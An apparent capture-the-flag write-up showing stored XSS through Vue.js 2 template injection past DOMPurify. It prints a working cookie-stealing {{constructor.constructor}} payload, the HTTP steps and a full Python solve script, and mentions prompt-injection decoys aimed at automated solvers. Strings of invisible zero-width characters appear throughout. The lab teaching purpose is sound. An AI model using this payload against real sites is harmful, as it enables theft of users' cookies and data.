← Back to Writeups
CUSTOMMediumWeb

Lab 296 — DocuForge — Stored XSS via Vue.js Template Injection

XESXOR9/10/20265 min read
#web#custom#medium#admin_bot_exploitation#client_side_template_injection#constructor_constructor_gadget#dompurify_vue_syntax_bypass#non_httponly_cookie_theft#same_origin_comment_exfiltrati#vue_compile_abuse

Lab 296 — DocuForge — Stored XSS via Vue.js Template Injection

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-14 | Status: Solved Techniques: admin_bot_exploitation, client_side_template_injection, constructor_constructor_gadget, dompurify_vue_syntax_bypass, non_httponly_cookie_theft, same_origin_comment_exfiltration, vue_compile_abuse

Summary

Task: DocuForge wiki platform (Express + Vue.js 2 + DOMPurify) renders article content inside a Vue instance; DOMPurify strips HTML tags/events but passes {{ }} template delimiters through; an admin bot opens reported articles. Solution: Client-Side Template Injection (CSTI) via {{constructor.constructor(...)()}} to execute arbitrary JS in the admin's browser, exfiltrating the non-HttpOnly flag cookie same-origin via the comments API.

Lab 296 — DocuForge — Stored XSS via Vue.js Template Injection — hackadvisor

Description

DocuForge is a collaborative knowledge base / wiki platform. Teams create and share wiki articles with rich markdown support. The platform features article categories, full-text search, comments, and an admin review system. An admin bot reviews reported articles by opening them in its logged-in browser. Goal: execute arbitrary JavaScript in the admin's browser and exfiltrate the flag hidden in the admin's cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A wiki application accepts markdown articles, sanitizes them with DOMPurify, then renders the sanitized HTML inside a Vue.js 2 instance. An admin bot visits reported articles while logged in. The goal is to achieve JavaScript execution in the admin's browser and steal the flag from a non-HttpOnly cookie.

Credentials provided: user@test.com / password123. Instance: https://<UUID>.labs.hackadvisor.io/.

Analysis

Tech stack

  • Backend: Express (Node.js) behind nginx 1.25.5.
  • Frontend: Vue.js 2.7.16 (vue.min.js — production build), Bulma CSS.
  • Sanitization: DOMPurify on article content (strips <script>, event handlers like onerror, javascript: hrefs).
  • Session cookie: connect.sid is HttpOnly; Secure; SameSite=Lax.
  • Flag cookie: Separate flag cookie that is non-HttpOnly — readable via document.cookie.
  • No Content-Security-Policy header on article pages.
  • Decoy flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments with prompt injection text on every page — must be ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability: DOMPurify + Vue.js = CSTI

DOMPurify is designed to strip dangerous HTML: <script> tags, event handler attributes (onerror, onclick), javascript: URIs, etc. However, DOMPurify has no awareness of Vue.js template syntax. The {{ }} delimiters are plain text from DOMPurify's perspective and pass through sanitization intact.

On article detail pages (/articles/:id), the sanitized HTML is placed inside <div id="article-content">, and then Vue.js is initialized on that element: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
new Vue({
  el: '#article-content',
  delimiters: ['{{', '}}']
});

Vue.js compiles the content of #article-content as a template. Any {{ expression }} inside is evaluated as a JavaScript expression within the Vue instance's scope.

Why constructor.constructor works

Since this is the production build (vue.min.js), there is no Proxy-based _renderProxy. The compiled render function uses with(this) where this is the plain Vue instance. This means:

  1. constructor resolves to the Vue instance's constructor (the Vue function).
  2. constructor.constructor gives the Function constructor.
  3. constructor.constructor('CODE')() creates and immediately invokes a new function with arbitrary code. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is the classic Client-Side Template Injection (CSTI) gadget for Vue.js 2 production builds.

Comments are safe from CSTI

Comments (#comments-list) are rendered outside the #article-content div, so only article body content is vulnerable. This also makes comments a perfect same-origin exfiltration channel.

Key constraints

  1. Markdown auto-linkification: Literal http:// URLs in article content get auto-linkified by the markdown renderer, breaking payloads. Workaround: build URLs from string concatenation like 'ht'+'tp://...'.
  2. HTML entity encoding: & in content gets encoded to &amp;, breaking JS with &&. Avoid & in payloads.
  3. Login field name: The login form uses username (not email) as the field name. Using email silently fails.
  4. Bot behavior: The admin bot visits reported articles. On some instances, the bot appeared to be one-shot or had a long cooldown — a fresh instance may be needed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1. Login

POST /login
Content-Type: application/x-www-form-urlencoded

username=user@test.com&password=password123

Sets connect.sid session cookie. Note: the field is username, not email.

2. Create a placeholder article

POST /api/articles
Content-Type: application/json

{"title": "Architecture Review", "content": "placeholder", "category_id": 1, "tags": "review"}

Returns {"id": 18} (article ID varies).

3. Update article with CSTI payload

The payload reads document.cookie and POSTs it as a comment on the same article (self-commenting exfiltration): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PUT /api/articles/18
Content-Type: application/json

{
  "title": "Architecture Review",
  "content": "{{constructor.constructor('fetch(\"/api/articles/18/comments\",{method:\"POST\",headers:{\"Content-Type\":\"application/json\"},body:JSON.stringify({content:document.cookie})})')()}}",
  "category_id": 1,
  "tags": "review"
}

Why this survives DOMPurify: The payload contains no HTML tags, no event handlers, no javascript: URIs — just {{ }} text delimiters. DOMPurify sees it as harmless text and passes it through verbatim. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why this executes: When Vue.js compiles the template, constructor.constructor(...)() invokes the Function constructor to create and execute an anonymous function that calls fetch() to POST document.cookie as a comment.

4. Report the article to trigger the admin bot

POST /api/articles/18/report
Content-Type: application/json

{"reason": "Content policy review requested"}

5. Poll for the exfiltrated cookie

The admin bot opens /articles/18, Vue compiles the template, constructor.constructor executes the fetch, and the admin's document.cookie (containing flag=FLAG{...}) is posted as a comment. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After ~10-20 seconds, the comment appears:

flag=FLAG{REDACTED}

Full solve script

python
#!/usr/bin/env python3
import requests, re, json, time, sys

UUID = sys.argv[1] if len(sys.argv) > 1 else "6cac6d33-93eb-48f4-a8e5-aafaa3f5f7a3"
BASE = f"https://{UUID}.labs.hackadvisor.io"

s = requests.Session()

# 1. Login (field is "username", not "email")
s.post(f"{BASE}/login",
       data={"username": "user@test.com", "password": "password123"},
       allow_redirects=True)
assert "Test User" in s.get(f"{BASE}/profile").text, "Login failed"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2. Create placeholder article
r = s.post(f"{BASE}/api/articles",
           json={"title": "Review", "content": "placeholder",
                 "category_id": 1, "tags": "review"})
aid = r.json()["id"]

# 3. Update with CSTI payload (same-origin comment exfiltration)
js = (
    'fetch("/api/articles/%d/comments",'
    '{method:"POST",'
    'headers:{"Content-Type":"application/json"},'
    'body:JSON.stringify({content:document.cookie})})'
) % aid
payload = "{{constructor.constructor('%s')()}}" % js
s.put(f"{BASE}/api/articles/{aid}",
      json={"title": "Review", "content": payload,
            "category_id": 1, "tags": "review"})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 4. Report to trigger admin bot
s.post(f"{BASE}/api/articles/{aid}/report",
       json={"reason": "review"})

# 5. Poll for flag in comments
for _ in range(30):
    time.sleep(10)
    page = s.get(f"{BASE}/articles/{aid}").text
    m = re.search(r"FLAG\{[0-9a-f]+\}", page)
    if m:
        print("FLAG:", m.group(0))
        break

Dead Ends

  • Decoy flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments on every page with prompt injection text — trap for automated solvers.
  • Interact server exfiltration: External outbound requests worked once on the first instance but the bot stopped responding to subsequent reports. Same-origin comment exfiltration is the reliable channel.
  • Old instance bot exhaustion: The first instance's bot appeared to stop working after the first visit. A fresh instance was needed.
  • Login field confusion: Using email= instead of username= caused silent login failures when the old session cookie expired. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍